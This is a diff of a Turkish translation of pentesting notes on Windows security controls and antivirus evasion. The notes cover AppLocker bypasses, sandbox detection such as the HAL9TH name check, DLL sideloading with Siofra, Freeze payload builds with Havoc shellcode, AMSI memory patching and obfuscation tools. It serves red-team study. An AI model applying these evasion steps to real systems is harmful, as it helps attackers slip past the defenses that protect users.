[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\
|
||||
Organizasyonların genellikle **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, **ancak bunların hepsi atlatılabilir**.
|
||||
|
||||
### Kontrol
|
||||
@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir ve sistemde uygulanan mevcut kural setini gözden geçirme imkanı sağlar:
|
||||
Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir ve sistemdeki mevcut kural setini gözden geçirme imkanı sağlar:
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
@ -33,9 +33,9 @@ C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- Yaygın olarak **güvenilir** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir.
|
||||
- Yaygın olarak **güvenilen** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir.
|
||||
- **Kötü yazılmış kurallar da atlatılabilir**
|
||||
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izin verilecektir.
|
||||
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izinli olacaktır.
|
||||
- Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** yürütülebilir dosyasını **engellemeye** odaklanır, ancak **diğer** [**PowerShell yürütülebilir konumlarını**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) unutur, örneğin `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe`.
|
||||
- **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı yüksektir. Bu nedenle, **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**.
|
||||
- Herhangi bir süreçte **Powershell** kodunu **çalıştırmak** ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
@ -69,7 +69,7 @@ Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender), Windows 10 ve Windows 11'de ve Windows Server sürümlerinde mevcut olan bir antivirüstür. **Yaygın** pentesting araçlarını **engeller**, örneğin **`WinPEAS`**. Ancak, bu korumaları **atlatmanın yolları** vardır.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender), Windows 10 ve Windows 11'de ve Windows Server sürümlerinde mevcut olan bir antivirüstür. **`WinPEAS`** gibi yaygın pentesting araçlarını **engeller**. Ancak, bu korumaları **atlatmanın yolları** vardır.
|
||||
|
||||
### Kontrol
|
||||
|
||||
@ -103,7 +103,7 @@ sc query windefend
|
||||
```
|
||||
## Şifreli Dosya Sistemi (EFS)
|
||||
|
||||
EFS, dosyaları **şifreleme** yoluyla güvence altına alır ve **Dosya Şifreleme Anahtarı (FEK)** olarak bilinen **simetrik anahtar** kullanır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifreli dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının karşılık gelen **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
|
||||
**Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir:
|
||||
|
||||
@ -134,7 +134,9 @@ Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** ça
|
||||
|
||||
#### Kullanıcının şifresini bilmek
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Grup Yönetilen Hizmet Hesapları (gMSA)
|
||||
|
||||
@ -146,7 +148,7 @@ Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirm
|
||||
- **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
|
||||
- **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir.
|
||||
|
||||
gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifreli bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
|
||||
gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
|
||||
|
||||

|
||||
|
||||
@ -160,15 +162,15 @@ Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nas
|
||||
|
||||
## LAPS
|
||||
|
||||
**Yerel Yönetici Şifre Çözümü (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
{{#endref}}
|
||||
|
||||
## PS Kısıtlı Dil Modu
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
|
||||
|
||||
### **Kontrol Et**
|
||||
```powershell
|
||||
@ -221,7 +223,7 @@ Daha fazlasını [buradan](https://blog.netspi.com/15-ways-to-bypass-the-powersh
|
||||
|
||||
Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir.
|
||||
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolleri desteklemesi gerekir.
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
|
||||
### Ana SSP'ler
|
||||
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
## **AV Kaçınma Metodolojisi**
|
||||
|
||||
Şu anda, AV'ler bir dosyanın kötü niyetli olup olmadığını kontrol etmek için farklı yöntemler kullanıyor; statik tespit, dinamik analiz ve daha gelişmiş EDR'ler için davranışsal analiz.
|
||||
Şu anda, AV'ler bir dosyanın kötü amaçlı olup olmadığını kontrol etmek için farklı yöntemler kullanıyor; statik tespit, dinamik analiz ve daha gelişmiş EDR'ler için davranışsal analiz.
|
||||
|
||||
### **Statik tespit**
|
||||
|
||||
Statik tespit, bir ikili dosyada veya betikte bilinen kötü niyetli dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü niyetli olarak işaretlenmiştir. Bu tür tespitlerden kaçmanın birkaç yolu vardır:
|
||||
Statik tespit, bir ikili dosyada veya betikte bilinen kötü amaçlı dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçmanın birkaç yolu vardır:
|
||||
|
||||
- **Şifreleme**
|
||||
|
||||
@ -25,34 +25,34 @@ Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizel
|
||||
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
|
||||
|
||||
> [!NOTE]
|
||||
> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
|
||||
> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanmaktır. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
|
||||
|
||||
Pratik AV Kaçınma hakkında bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim.
|
||||
Bu konuda pratik AV Kaçınma ile ilgili bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim.
|
||||
|
||||
### **Dinamik analiz**
|
||||
|
||||
Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü niyetli etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha karmaşık olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var.
|
||||
Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde bir minidump gerçekleştirmek vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var.
|
||||
|
||||
- **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun şu ki, birçok AV kumanda kutusu, nasıl uygulandığına bağlı olarak uyku süresini atlayabilir.
|
||||
- **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV'nin kumanda kutularının, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir.
|
||||
- **Makinenin kaynaklarını kontrol etme** Genellikle kumanda kutuları çalışmak için çok az kaynağa sahiptir (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kumanda kutusunda uygulanmayabilir.
|
||||
- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilirsiniz. Eğer belirttiğinizle eşleşmiyorsa, programınızı kapatabilirsiniz.
|
||||
- **Makineye özgü kontroller** Eğer "contoso.local" alanına bağlı bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızın çıkmasını sağlayabilirsiniz.
|
||||
|
||||
Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz. Eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
|
||||
Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızın çıkmasını sağlayabilirsiniz.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>kaynak: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'den bazı gerçekten iyi ipuçları
|
||||
Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit) tarafından verilen bazı gerçekten iyi ipuçları
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanalı</p></figcaption></figure>
|
||||
|
||||
Bu yazıda daha önce söylediğimiz gibi, **kamu araçları** sonunda **tespit edilecektir**, bu nedenle kendinize bir şey sormalısınız:
|
||||
|
||||
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa LSASS'ı döken daha az bilinen farklı bir projeyi mi kullanabilirsiniz?
|
||||
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz?
|
||||
|
||||
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılımlardan biridir ve proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelebilir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın.
|
||||
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı bir örnek olarak alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri aşmak için onunla çalışmak bir kabus haline gelir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın.
|
||||
|
||||
> [!NOTE]
|
||||
> Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapatmayı** unutmayın ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
|
||||
> Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapattığınızdan** emin olun ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
|
||||
|
||||
## EXE'ler vs DLL'ler
|
||||
|
||||
@ -62,11 +62,11 @@ Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'd
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması</p></figcaption></figure>
|
||||
|
||||
Şimdi DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz.
|
||||
Şimdi DLL dosyaları ile daha gizli olabileceğiniz bazı hileleri göstereceğiz.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü niyetli yüklemeleri yan yana konumlandırır.
|
||||
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
|
||||
|
||||
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell betiğini kullanabilirsiniz:
|
||||
```powershell
|
||||
@ -100,18 +100,18 @@ Son komut bize 2 dosya verecek: bir DLL kaynak kodu şablonu ve orijinal yeniden
|
||||
```
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hem shellcode'umuz ( [SGN](https://github.com/EgeBalci/sgn) ile kodlanmış) hem de proxy DLL, [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım.
|
||||
Hem shellcode'umuz (encoded with [SGN](https://github.com/EgeBalci/sgn)) hem de proxy DLL, [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Kesinlikle öneririm** [S3cur3Th1sSh1t'in twitch VOD'unu](https://www.twitch.tv/videos/1644171543) DLL Sideloading hakkında izlemenizi ve ayrıca [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG_WNpE) daha derinlemesine tartıştığımız konuları öğrenmek için izlemenizi.
|
||||
> **Kesinlikle** [S3cur3Th1sSh1t'in twitch VOD'sini](https://www.twitch.tv/videos/1644171543) DLL Sideloading hakkında izlemenizi ve ayrıca [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG_WNpE) daha derinlemesine öğrenmek için izlemenizi öneririm.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır`
|
||||
`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir payload toolkit'tir.`
|
||||
|
||||
Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve yürütmek için kullanabilirsiniz.
|
||||
Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve çalıştırmak için kullanabilirsiniz.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -151,7 +151,7 @@ AMSI'yi aşmanın birkaç yolu vardır:
|
||||
|
||||
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir.
|
||||
|
||||
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırmadan açığa çıkarma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
|
||||
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
@ -183,7 +183,7 @@ Unutmayın ki, bu gönderi yayımlandığında muhtemelen işaretlenecek, bu ned
|
||||
|
||||
**Bellek Yaması**
|
||||
|
||||
Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
|
||||
Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
|
||||
|
||||
> [!NOTE]
|
||||
> Daha ayrıntılı bir açıklama için lütfen [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun.
|
||||
@ -197,7 +197,7 @@ Ya da bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bu script.
|
||||
**C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır:
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır ve [kod obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) ve değiştirilmezlik yoluyla yazılım güvenliğini artırmaktır.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır ve bu sayede [kod obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) ve değiştirilmezlik ile yazılım güvenliğini artırmaktır.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod üretmeyi gösterir.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır.
|
||||
@ -208,22 +208,22 @@ Ya da bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bu script.
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
İnternetten bazı yürütülebilir dosyaları indirip çalıştırırken bu ekranı görmüş olabilirsiniz.
|
||||
İnternetten bazı yürütülebilir dosyaları indirip çalıştırdığınızda bu ekranı görmüş olabilirsiniz.
|
||||
|
||||
Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumak amacıyla tasarlanmış bir güvenlik mekanizmasıdır.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
|
||||
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (ancak dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'ı tıklayarak çalıştırılabilir).
|
||||
|
||||
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) olan Zone.Identifier adını taşır ve indirildiği URL ile birlikte gelir.
|
||||
